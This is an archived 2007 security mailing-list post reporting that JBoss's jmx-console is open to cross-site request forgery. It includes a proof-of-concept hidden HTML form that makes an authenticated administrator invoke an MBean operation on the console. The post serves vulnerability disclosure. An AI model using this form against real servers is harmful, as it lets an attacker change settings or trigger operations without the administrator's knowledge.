OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
JBoss jmx-console CSRF

buben.razumagmail.com
Date: Thu Feb 22 2007 - 05:04:20 CST


Hello!
Recent message about JBoss's console made me looking at that interface again and it seems that it is vulnerable for the CRSF attacks.

MBean settings may be changed and operations may be invoked on behalf of the authenticated administrator by the hidden submitting form like follows:

<form method="post" action="http://host:port/jmx-console/HtmlAdaptor">
   <input type="hidden" name="action" value="invokeOp">
   <input type="hidden" name="name" value="jboss.j2ee:service=EARDeployer">

   <input type="hidden" name="methodIndex" value="0">
   <input type="submit" value="Invoke">
</form>

Please, correct me, if I'm wrong.

BR,
B.R.
Best regards,